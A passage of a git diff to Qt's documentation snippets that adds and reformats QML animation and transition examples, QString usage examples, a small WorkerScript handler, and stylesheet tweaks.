fill="#404040" stroke="none" > + <rect x="5px" y="5px" width="5px" height="5px" /> + </g> +</svg> diff --git a/doc/src/snippets/declarative/propertyaction-sequential.qml b/doc/src/snippets/declarative/propertyaction-sequential.qml new file mode 100644 index 0000000..a60b1f4 --- /dev/null +++ b/doc/src/snippets/declarative/propertyaction-sequential.qml @@ -0,0 +1,72 @@ +/**************************************************************************** +** +** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** $QT_END_LICENSE$ +** +****************************************************************************/ +import QtQuick 1.0 + +Row { + + Item { + width: 400; height: 400 + + Rectangle { + id: rect + width: 200; height: 100 + color: "red" + + states: State { + name: "rotated" + PropertyChanges { target: rect; rotation: 180; transformOrigin: Item.BottomRight } + } + + //! [sequential] + transitions: Transition { + SequentialAnimation { + PropertyAction { target: rect; property: "transformOrigin" } + RotationAnimation { duration: 1000; direction: RotationAnimation.Counterclockwise } + } + } + //! [sequential] + + MouseArea { + anchors.fill: parent + onClicked: rect.state = "rotated" + } + } + } +} diff --git a/doc/src/snippets/declarative/propertyaction.qml b/doc/src/snippets/declarative/propertyaction.qml index dd21d14..f5ae798 100644 --- a/doc/src/snippets/declarative/propertyaction.qml +++ b/doc/src/snippets/declarative/propertyaction.qml @@ -41,45 +41,43 @@ import QtQuick 1.0 Row { -//![transition] -Item { - width: 400; height: 400 + //![transition] + Item { + width: 400; height: 400 - Rectangle { - id: rect - width: 200; height: 100 - color: "red" + Rectangle { + id: rect + width: 200; height: 100 + color: "red" - states: State { - name: "rotated" - PropertyChanges { target: rect; rotation: 180; transformOrigin: Item.BottomRight } - } + states: State { + name: "rotated" + PropertyChanges { target: rect; rotation: 180; transformOrigin: Item.BottomRight } + } - transitions: Transition { - RotationAnimation { duration: 1000; direction: RotationAnimation.Counterclockwise } - } + transitions: Transition { + RotationAnimation { duration: 1000; direction: RotationAnimation.Counterclockwise } + } - MouseArea { - anchors.fill: parent - onClicked: rect.state = "rotated" + MouseArea { + anchors.fill: parent + onClicked: rect.state = "rotated" + } } } -} -//![transition] + //![transition] -Item { - width: 300; height: 300 + Item { + width: 300; height: 300 - Image { id: img; source: "pics/qt.png" } - -//![standalone] -SequentialAnimation { - PropertyAction { target: img; property: "smooth"; value: "true" } - NumberAnimation { target: img; property: "width"; to: 300; duration: 1000 } - PropertyAction { target: img; property: "smooth"; value: "false" } -} -//![standalone] -} + Image { id: img; source: "pics/qt.png" } + //![standalone] + SequentialAnimation { + PropertyAction { target: img; property: "smooth"; value: "true" } + NumberAnimation { target: img; property: "width"; to: 300; duration: 1000 } + PropertyAction { target: img; property: "smooth"; value: "false" } + } + //![standalone] + } } - diff --git a/doc/src/snippets/declarative/propertyanimation.qml b/doc/src/snippets/declarative/propertyanimation.qml index d0a009a..711feec 100644 --- a/doc/src/snippets/declarative/propertyanimation.qml +++ b/doc/src/snippets/declarative/propertyanimation.qml @@ -48,10 +48,12 @@ Rectangle { width: 100; height: 100 color: "red" + //! [single state] states: State { name: "moved" PropertyChanges { target: rect; x: 50 } } + //! [single state] transitions: Transition { PropertyAnimation { properties: "x,y"; easing.type: Easing.InOutQuad } @@ -83,18 +85,16 @@ Rectangle { } //![propertyvaluesource] -//![standalone] -Rectangle { - id: theRect - width: 100; height: 100 - color: "red" - - // this is a standalone animation, it's not running by default - PropertyAnimation { id: animation; target: theRect; property: "width"; to: 30; duration: 500 } - - MouseArea { anchors.fill: parent; onClicked: animation.running = true } -} -//![standalone] + //![standalone] + Rectangle { + id: theRect + width: 100; height: 100 + color: "red" + // this is a standalone animation, it's not running by default + PropertyAnimation { id: animation; target: theRect; property: "width"; to: 30; duration: 500 } + MouseArea { anchors.fill: parent; onClicked: animation.running = true } + } + //![standalone] } diff --git a/doc/src/snippets/declarative/script.js b/doc/src/snippets/declarative/script.js index cd67311..f55dee3 100644 --- a/doc/src/snippets/declarative/script.js +++ b/doc/src/snippets/declarative/script.js @@ -1 +1,4 @@ -# Just here so that workerscript.qml succeeds. +WorkerScript.onMessage = function(message) { + // ... long-running operations and calculations are done here + WorkerScript.sendMessage({ 'reply': 'Mouse is at ' + message.x + ',' + message.y }) +} diff --git a/doc/src/snippets/declarative/transition-from-to-modified.qml b/doc/src/snippets/declarative/transition-from-to-modified.qml new file mode 100644 index 0000000..1e2ebca --- /dev/null +++ b/doc/src/snippets/declarative/transition-from-to-modified.qml @@ -0,0 +1,60 @@ +/**************************************************************************** +** +** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** $QT_END_LICENSE$ +** +****************************************************************************/ +import QtQuick 1.0 + +Rectangle { + id: rect + width: 100; height: 100 + color: "red" + + MouseArea { id: mouseArea; anchors.fill: parent } + + states: State { + name: "brighter"; when: mouseArea.pressed + PropertyChanges { target: rect; color: "yellow" } + } + + //! [modified transition] + transitions: Transition { + to: "brighter" + ColorAnimation { duration: 1000 } + } + //! [modified transition] +} diff --git a/doc/src/snippets/declarative/transition-from-to.qml b/doc/src/snippets/declarative/transition-from-to.qml index 5fde653..ba07518 100644 --- a/doc/src/snippets/declarative/transition-from-to.qml +++ b/doc/src/snippets/declarative/transition-from-to.qml @@ -57,5 +57,3 @@ Rectangle { } } //![0] - - diff --git a/doc/src/snippets/declarative/transition-reversible.qml b/doc/src/snippets/declarative/transition-reversible.qml index c67fd80..6a6ef23 100644 --- a/doc/src/snippets/declarative/transition-reversible.qml +++ b/doc/src/snippets/declarative/transition-reversible.qml @@ -53,12 +53,14 @@ Rectangle { PropertyChanges { target: rect; color: "yellow"; x: 50 } } + //! [sequential animations] transitions: Transition { SequentialAnimation { PropertyAnimation { property: "x"; duration: 1000 } ColorAnimation { duration: 1000 } } } + //! [sequential animations] } //![0] diff --git a/doc/src/snippets/declarative/transitions-list.qml b/doc/src/snippets/declarative/transitions-list.qml new file mode 100644 index 0000000..cd413cc --- /dev/null +++ b/doc/src/snippets/declarative/transitions-list.qml @@ -0,0 +1,89 @@ +/**************************************************************************** +** +** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 1.0 + +Rectangle { + width: 150; height: 250 + + Rectangle { + id: stopLight + x: 25; y: 15; width: 100; height: 100 + } + Rectangle { + id: goLight + x: 25; y: 135; width: 100; height: 100 + } + + states: [ + State { + name: "stop" + PropertyChanges { target: stopLight; color: "red" } + PropertyChanges { target: goLight; color: "black" } + }, + State { + name: "go" + PropertyChanges { target: stopLight; color: "black" } + PropertyChanges { target: goLight; color: "green" } + } + ] + + state: "stop" + + MouseArea { + anchors.fill: parent + onClicked: parent.state == "stop" ? + parent.state = "go" : parent.state = "stop" + } + + //! [list of transitions] + transitions: [ + Transition { + from: "stop"; to: "go" + PropertyAnimation { target: stopLight + properties: "color"; duration: 1000 } + }, + Transition { + from: "go"; to: "stop" + PropertyAnimation { target: goLight + properties: "color"; duration: 1000 } + } ] + //! [list of transitions] +} diff --git a/doc/src/snippets/qstring/main.cpp b/doc/src/snippets/qstring/main.cpp index 9aac79d..bbc9e98 100644 --- a/doc/src/snippets/qstring/main.cpp +++ b/doc/src/snippets/qstring/main.cpp @@ -126,22 +126,22 @@ Widget::Widget(QWidget *parent) void Widget::constCharPointer() { -//! [0] + //! [0] QString str = "Hello"; -//! [0] + //! [0] } void Widget::constCharArray() { -//! [1] + //! [1] static const QChar data[4] = { 0x0055, 0x006e, 0x10e3, 0x03a3 }; QString str(data, 4); -//! [1] + //! [1] } void Widget::characterReference() { -//! [2] + //! [2] QString str; str.resize(4); @@ -149,46 +149,46 @@ void Widget::characterReference() str[1] = QChar('n'); str[2] = QChar(0x10e3); str[3] = QChar(0x03a3); -//! [2] + //! [2] } void Widget::atFunction() { -//! [3] + //! [3] QString str; for (int i = 0; i < str.size(); ++i) { if (str.at(i) >= QChar('a') && str.at(i) <= QChar('f')) qDebug() << "Found character in range [a-f]"; } -//! [3] + //! [3] } void Widget::stringLiteral() { -//! [4] + //! [4] QString str; if (str == "auto" || str == "extern" || str == "static" || str == "register") { // ... } -//! [4] + //! [4] } void Widget::modify() { -//! [5] + //! [5] QString str = "and"; str.prepend("rock "); // str == "rock and" str.append(" roll"); // str == "rock and roll" str.replace(5, 3, "&"); // str == "rock & roll" -//! [5] + //! [5] } void Widget::index() { -//! [6] + //! [6] QString str = "We must be <b>bold</b>, very <b>bold</b>"; int j = 0; @@ -196,25 +196,25 @@ void Widget::index() qDebug() << "Found <b> tag at index position" << j; ++j; } -//! [6] + //! [6] } //! [7] - QString Widget::boolToString(bool b) - { - QString result; - if (b) - result = "True"; - else - result = "False"; - return result; - } +QString Widget::boolToString(bool b) +{ + QString result; + if (b) + result = "True"; + else + result = "False"; + return result; +} //! [7] void Widget::nullVsEmpty() { -//! [8] + //! [8] QString().isNull(); // returns true QString().isEmpty(); // returns true @@ -223,45 +223,45 @@ void Widget::nullVsEmpty() QString("abc").isNull(); // returns false QString("abc").isEmpty(); // returns false -//! [8] + //! [8] } void Widget::appendFunction() { -//! [9] + //! [9] QString x = "free"; QString y = "dom"; x.append(y); // x == "freedom" -//! [9] + //! [9] -//! [10] + //! [10] x.insert(x.size(), y); -//! [10] + //! [10] } void Widget::argFunction() { -//! [11] + //! [11] QString i; // current file's number QString total; // number of files to process QString fileName; // current file's name QString status = QString("Processing file %1 of %2: %3") .arg(i).arg(total).arg(fileName); -//! [11] + //! [11] -//! [12] //! [13] + //! [12] //! [13] QString str; -//! [12] + //! [12] str = "%1 %2"; str.arg("%1f", "Hello"); // returns "%1f Hello" str.arg("%1f").arg("Hello"); // returns "Hellof %2" -//! [13] + //! [13] -//! [14] + //! [14] str = QString("Decimal 63 is %1 in hexadecimal") .arg(63, 0, 16); // str == "Decimal 63 is 3f in hexadecimal" @@ -272,16 +272,16 @@ void Widget::argFunction() .arg(12345) .arg(12345, 0, 16); // str == "12345 12,345 3039" -//! [14] + //! [14] } void Widget::chopFunction() { -//! [15] + //! [15] QString str("LOGOUT\r\n"); str.chop(2); // str == "LOGOUT" -//! [15] + //! [15] } void Widget::compareFunction() @@ -293,251 +293,251 @@ void Widget::compareFunction() void Widget::compareSensitiveFunction() { -//! [16] + //! [16] int x = QString::compare("aUtO", "AuTo", Qt::CaseInsensitive); // x == 0 int y = QString::compare("auto", "Car", Qt::CaseSensitive); // y > 0 int z = QString::compare("auto", "Car", Qt::CaseInsensitive); // z < 0 -//! [16] + //! [16] } void Widget::containsFunction() { -//! [17] + //! [17] QString str = "Peter Pan"; str.contains("peter", Qt::CaseInsensitive); // returns true -//! [17] + //! [17] } void Widget::countFunction() { -//! [18] + //! [18] QString str = "banana and panama"; str.count(QRegExp("a[nm]a")); // returns 4 -//! [18] + //! [18] } void Widget::dataFunction() { -//! [19] + //! [19] QString str = "Hello world"; QChar *data = str.data(); while (!data->isNull()) { qDebug() << data->unicode(); ++data; } -//! [19] + //! [19] } void Widget::endsWithFunction() { -//! [20] + //! [20] QString str = "Bananas"; str.endsWith("anas"); // returns true str.endsWith("pple"); // returns false -//! [20] + //! [20] } void Widget::fillFunction() { -//! [21] + //! [21] QString str = "Berlin"; str.fill('z'); // str == "zzzzzz" str.fill('A', 2); // str == "AA" -//! [21] + //! [21] } void Widget::fromRawDataFunction() { -//! [22] - QRegExp pattern; - static const QChar unicode[] = { - 0x005A, 0x007F, 0x00A4, 0x0060, - 0x1009, 0x0020, 0x0020}; - int size = sizeof(unicode) / sizeof(QChar); + //! [22] + QRegExp pattern; + static const QChar unicode[] = { + 0x005A, 0x007F, 0x00A4, 0x0060, + 0x1009, 0x0020, 0x0020}; + int size = sizeof(unicode) / sizeof(QChar); - QString str = QString::fromRawData(unicode, size); - if (str.contains(QRegExp(pattern))) { - // ... -//! [22] //! [23] - } -//! [23] + QString str = QString::fromRawData(unicode, size); + if (str.contains(QRegExp(pattern))) { + // ... + //! [22] //! [23] + } + //! [23] } void Widget::indexOfFunction() { -//! [24] + //! [24] QString x = "sticky question"; QString y = "sti"; x.indexOf(y); // returns 0 x.indexOf(y, 1); // returns 10 x.indexOf(y, 10); // returns 10 x.indexOf(y, 11); // returns -1 -//! [24] + //! [24] } void Widget::firstIndexOfFunction() { -//! [25] + //! [25] QString str = "the minimum"; str.indexOf(QRegExp("m[aeiou]"), 0); // returns 4 -//! [25] + //! [25] } void Widget::insertFunction() { -//! [26] + //! [26] QString str = "Meal"; str.insert(1, QString("ontr")); // str == "Montreal" -//! [26] + //! [26] } void Widget::isEmptyFunction() { -//! [27] + //! [27] QString().isEmpty(); // returns true QString("").isEmpty(); // returns true QString("x").isEmpty(); // returns false QString("abc").isEmpty(); // returns false -//! [27] + //! [27] } void Widget::isNullFunction() { -//! [28] + //! [28] QString().isNull(); // returns true QString("").isNull(); // returns false QString("abc").isNull(); // returns false -//! [28] + //! [28] } void Widget::lastIndexOfFunction() { -//! [29] + //! [29] QString x = "crazy azimuths"; QString y = "az"; x.lastIndexOf(y); // returns 6 x.lastIndexOf(y, 6); // returns 6 x.lastIndexOf(y, 5); // returns 2 x.lastIndexOf(y, 1); // returns -1 -//! [29] + //! [29] -//! [30] + //! [30] QString str = "the minimum"; str.lastIndexOf(QRegExp("m[aeiou]")); // returns 8 -//! [30] + //! [30] } void Widget::leftFunction() { -//! [31] + //! [31] QString x = "Pineapple"; QString y = x.left(4); // y == "Pine" -//! [31] + //! [31] } void Widget::leftJustifiedFunction() { -//! [32] + //! [32] QString s = "apple"; QString t = s.leftJustified(8, '.'); // t == "apple..." -//! [32] + //! [32] -//! [33] + //! [33] QString str = "Pineapple"; str = str.leftJustified(5, '.', true); // str == "Pinea" -//! [33] + //! [33] } void Widget::midFunction() { -//! [34] + //! [34] QString x = "Nine pineapples"; QString y = x.mid(5, 4); // y == "pine" QString z = x.mid(5); // z == "pineapples" -//! [34] + //! [34] } void Widget::numberFunction() { -//! [35] + //! [35] long a = 63; QString s = QString::number(a, 16); // s == "3f" QString t = QString::number(a, 16).toUpper(); // t == "3F" -//! [35] + //! [35] } void Widget::prependFunction() { -//! [36] + //! [36] QString x = "ship"; QString y = "air"; x.prepend(y); // x == "airship" -//! [36] + //! [36] } void Widget::removeFunction() { -//! [37] + //! [37] QString s = "Montreal"; s.remove(1, 4); // s == "Meal" -//! [37] + //! [37] -//! [38] + //! [38] QString t = "Ali Baba"; t.remove(QChar('a'), Qt::CaseInsensitive); // t == "li Bb" -//! [38] + //! [38] -//! [39] + //! [39] QString r = "Telephone"; r.remove(QRegExp("[aeiou].")); // r == "The" -//! [39] + //! [39] } void Widget::replaceFunction() { -//! [40] + //! [40] QString x = "Say yes!"; QString y = "no"; x.replace(4, 3, y); // x == "Say no!" -//! [40] + //! [40] -//! [41] + //! [41] QString str = "colour behaviour flavour neighbour"; str.replace(QString("ou"), QString("o")); // str == "color behavior flavor neighbor" -//! [41] + //! [41] -//! [42] + //! [42] QString s = "Banana"; s.replace(QRegExp("a[mn]"), "ox"); // s == "Boxoxa" -//! [42] + //! [42] -//! [43] + //! [43] QString t = "A <i>bon mot</i>."; t.replace(QRegExp("<i>([^<]*)</i>"), "\\emph{\\1}"); // t == "A \\emph{bon mot}." -//! [43] + //! [43] -//! [86] + //! [86] QString equis = "xxxxxx"; equis.replace("xx", "x"); // equis == "xxx" -//! [86] + //! [86] } void Widget::reserveFunction() { -//! [44] + //! [44] QString result; int maxSize; bool condition; @@ -549,59 +549,59 @@ void Widget::reserveFunction() result.append(nextChar); result.squeeze(); -//! [44] + //! [44] } void Widget::resizeFunction() { -//! [45] + //! [45] QString s = "Hello world"; s.resize(5); // s == "Hello" s.resize(8); // s == "Hello???" (where ? stands for any character) -//! [45] + //! [45] -//! [46] + //! [46] QString t = "Hello"; t += QString(10, 'X'); // t == "HelloXXXXXXXXXX" -//! [46] + //! [46] -//! [47] + //! [47] QString r = "Hello"; r = r.leftJustified(10, ' '); // r == "Hello " -//! [47] + //! [47] } void Widget::rightFunction() { -//! [48] + //! [48] QString x = "Pineapple"; QString y = x.right(5); // y == "apple" -//! [48] + //! [48] } void Widget::rightJustifiedFunction() { -//! [49] + //! [49] QString s = "apple"; QString t = s.rightJustified(8, '.'); // t == "...apple" -//! [49] + //! [49] -//! [50] + //! [50] QString str = "Pineapple"; str = str.rightJustified(5, '.', true); // str == "Pinea" -//! [50] + //! [50] } void Widget::sectionFunction() { -//! [51] //! [52] + //! [51] //! [52] QString str; -//! [51] + //! [51] QString csv = "forename,middlename,surname,phone"; QString path = "/usr/local/bin/myapp"; // First field is empty QString::SectionFlag flag = QString::SectionSkipEmpty; @@ -610,83 +610,83 @@ void Widget::sectionFunction() str = csv.section(',', 2, 2); // str == "surname" str = path.section('/', 3, 4); // str == "bin/myapp" str = path.section('/', 3, 3, flag); // str == "myapp" -//! [52] + //! [52] -//! [53] + //! [53] str = csv.section(',', -3, -2); // str == "middlename,surname" str = path.section('/', -1); // str == "myapp" -//! [53] + //! [53] -//! [54] + //! [54] QString data = "forename**middlename**surname**phone"; str = data.section("**", 2, 2); // str == "surname" str = data.section("**", -3, -2); // str == "middlename**surname" -//! [54] + //! [54] -//! [55] + //! [55] QString line = "forename\tmiddlename surname \t \t phone"; QRegExp sep("\\s+"); str = line.section(sep, 2, 2); // s == "surname" str = line.section(sep, -3, -2); // s == "middlename surname" -//! [55] + //! [55] } void Widget::setNumFunction() { -//! [56] + //! [56] QString str; str.setNum(1234); // str == "1234" -//! [56] + //! [56] } void Widget::simplifiedFunction() { -//! [57] + //! [57] QString str = " lots\t of\nwhitespace\r\n "; str = str.simplified(); // str == "lots of whitespace"; -//! [57] + //! [57] } void Widget::sizeFunction() { -//! [58] + //! [58] QString str = "World"; int n = str.size(); // n == 5 str.data()[0]; // returns 'W' str.data()[4]; // returns 'd' str.data()[5]; // returns '\0' -//! [58] + //! [58] } void Widget::splitFunction() { -//! [59] + //! [59] QString str; QStringList list; str = "Some text\n\twith strange whitespace."; list = str.split(QRegExp("\\s+")); // list: [ "Some", "text", "with", "strange", "whitespace." ] -//! [59] + //! [59] -//! [60] + //! [60] str = "This time, a normal English sentence."; list = str.split(QRegExp("\\W+"), QString::SkipEmptyParts); // list: [ "This", "time", "a", "normal", "English", "sentence" ] -//! [60] + //! [60] -//! [61] + //! [61] str = "Now: this sentence fragment."; list = str.split(QRegExp("\\b")); // list: [ "", "Now", ": ", "this", " ", "sentence", " ", "fragment", "." ] -//! [61] + //! [61] } void Widget::splitCaseSensitiveFunction() { -//! [62] + //! [62] QString str = "a,,b,c"; QStringList list1 = str.split(","); @@ -694,241 +694,241 @@ void Widget::splitCaseSensitiveFunction() QStringList list2 = str.split(",", QString::SkipEmptyParts); // list2: [ "a", "b", "c" ] -//! [62] + //! [62] } void Widget::sprintfFunction() { -//! [63] + //! [63] size_t BufSize; char buf[BufSize]; ::snprintf(buf, BufSize, "%lld", 123456789LL); QString str = QString::fromAscii(buf); -//! [63] + //! [63] -//! [64] + //! [64] QString result; QTextStream(&result) << "pi = " << 3.14; // result == "pi = 3.14" -//! [64] + //! [64] } void Widget::startsWithFunction() { -//! [65] + //! [65] QString str = "Bananas"; str.startsWith("Ban"); // returns true str.startsWith("Car"); // returns false -//! [65] + //! [65] } void Widget::toDoubleFunction() { -//! [66] + //! [66] QString str = "1234.56"; double val = str.toDouble(); // val == 1234.56 -//! [66] + //! [66] -//! [67] + //! [67] bool ok; double d; d = QString( "1234.56e-02" ).toDouble(&ok); // ok == true, d == 12.3456 -//! [67] + //! [67] -//! [68] //! [69] + //! [68] //! [69] QLocale::setDefault(QLocale::C); d = QString( "1234,56" ).toDouble(&ok); // ok == false -//! [68] + //! [68] d = QString( "1234.56" ).toDouble(&ok); // ok == true, d == 1234.56 -//! [69] //! [70] + //! [69] //! [70] QLocale::setDefault(QLocale::German); d = QString( "1234,56" ).toDouble(&ok); // ok == true, d == 1234.56 d = QString( "1234.56" ).toDouble(&ok); // ok == true, d == 1234.56 -//! [70] + //! [70] QLocale::setDefault(QLocale::C); d = QString( "1,234,567.89" ).toDouble(&ok); // ok == false } void Widget::toFloatFunction() { -//! [71] + //! [71] QString str1 = "1234.56"; str1.toFloat(); // returns 1234.56 bool ok; QString str2 = "R2D2"; str2.toFloat(&ok); // returns 0.0, sets ok to false -//! [71] + //! [71] } void Widget::toIntFunction() { -//! [72] + //! [72] QString str = "FF"; bool ok; int hex = str.toInt(&ok, 16); // hex == 255, ok == true int dec = str.toInt(&ok, 10); // dec == 0, ok == false -//! [72] + //! [72] } void Widget::toLongFunction() { -//! [73] + //! [73] QString str = "FF"; bool ok; long hex = str.toLong(&ok, 16); // hex == 255, ok == true long dec = str.toLong(&ok, 10); // dec == 0, ok == false -//! [73] + //! [73] } void Widget::toLongLongFunction() { -//! [74] + //! [74] QString str = "FF"; bool ok; qint64 hex = str.toLongLong(&ok, 16); // hex == 255, ok == true qint64 dec = str.toLongLong(&ok, 10); // dec == 0, ok == false -//! [74] + //! [74] } void Widget::toLowerFunction() { -//! [75] + //! [75] QString str = "Qt by NOKIA"; str = str.toLower(); // str == "qt by nokia" -//! [75] + //! [75] } void Widget::toShortFunction() { -//! [76] + //! [76] QString str = "FF"; bool ok; short hex = str.toShort(&ok, 16); // hex == 255, ok == true short dec = str.toShort(&ok, 10); // dec == 0, ok == false -//! [76] + //! [76] } void Widget::toUIntFunction() { -//! [77] + //! [77] QString str = "FF"; bool ok; uint hex = str.toUInt(&ok, 16); // hex == 255, ok == true uint dec = str.toUInt(&ok, 10); // dec == 0, ok == false -//! [77] + //! [77] } void Widget::toULongFunction() { -//! [78] + //! [78] QString str = "FF"; bool ok; ulong hex = str.toULong(&ok, 16); // hex == 255, ok == true ulong dec = str.toULong(&ok, 10); // dec == 0, ok == false -//! [78] + //! [78] } void Widget::toULongLongFunction() { -//! [79] + //! [79] QString str = "FF"; bool ok; quint64 hex = str.toULongLong(&ok, 16); // hex == 255, ok == true quint64 dec = str.toULongLong(&ok, 10); // dec == 0, ok == false -//! [79] + //! [79] } void Widget::toUShortFunction() { -//! [80] + //! [80] QString str = "FF"; bool ok; ushort hex = str.toUShort(&ok, 16); // hex == 255, ok == true ushort dec = str.toUShort(&ok, 10); // dec == 0, ok == false -//! [80] + //! [80] } void Widget::toUpperFunction() { -//! [81] + //! [81] QString str = "TeXt"; str = str.toUpper(); // str == "TEXT" -//! [81] + //! [81] } void Widget::trimmedFunction() { -//! [82] + //! [82] QString str = " lots\t of\nwhitespace\r\n "; str = str.trimmed(); // str == "lots\t of\nwhitespace" -//! [82] + //! [82] } void Widget::truncateFunction() { -//! [83] + //! [83] QString str = "Vladivostok"; str.truncate(4); // str == "Vlad" -//! [83] + //! [83] } void Widget::plusEqualOperator() { -//! [84] + //! [84] QString x = "free"; QString y = "dom"; x += y; // x == "freedom" -//! [84] + //! [84] } void Widget::arrayOperator() { -//! [85] + //! [85] QString str; if (str[0] == QChar('?')) str[0] = QChar('_'); -//! [85] + //! [85] } void Widget::midRefFunction() { -//! [midRef] + //! [midRef] QString x = "Nine pineapples"; QStringRef y = x.midRef(5, 4); // y == "pine" QStringRef z = x.midRef(5); // z == "pineapples" -//! [midRef] + //! [midRef] } void Widget::leftRefFunction() { -//! [leftRef] + //! [leftRef] QString x = "Pineapple"; QStringRef y = x.leftRef(4); // y == "Pine" -//! [leftRef] + //! [leftRef] } void Widget::rightRefFunction() { -//! [rightRef] + //! [rightRef] QString x = "Pineapple"; QStringRef y = x.rightRef(5); // y == "apple" -//! [rightRef] + //! [rightRef] } diff --git a/doc/src/template/style/offline.css b/doc/src/template/style/offline.css index 4a10d0a..4083a75 100644 --- a/doc/src/template/style/offline.css +++ b/doc/src/template/style/offline.css @@ -72,11 +72,10 @@ font-style: italic; } - /* adding Qt theme */ body { margin-left: 0.5em; - margin-right: 0.5em + margin-right: 0.5em; } a { @@ -111,7 +110,6 @@ background-color: #F6F6F6; border: 1px solid #E6E6E6; border-collapse: separate; - font-size: 110%; margin-bottom: 2.5em; } pre { @@ -175,7 +173,7 @@ } span.operator { - color: black; + color: #202020; } span.keyword { @@ -185,21 +183,33 @@ { color: black } + span.type + { + font-weight: bold + } + span.type a:visited + { + color: #0F5300; + } + span.preprocessor + { + color: #404040 + } /* end basic elements */ /* font style elements */ .heading { font-weight: bold; - font-size: 160%; + font-size: 125%; } .subtitle { - font-size: 130% + font-size: 110% } .small-subtitle { - font-size: 130% + font-size: 100% } .red { @@ -221,7 +231,7 @@ { color: #00732F; font-weight: bold; - font-size: 180%; + font-size: 130%; } .header .content @@ -299,19 +309,19 @@ .content h1 { font-weight: bold; - font-size: 180% + font-size: 150% } .content h2 { font-weight: bold; - font-size: 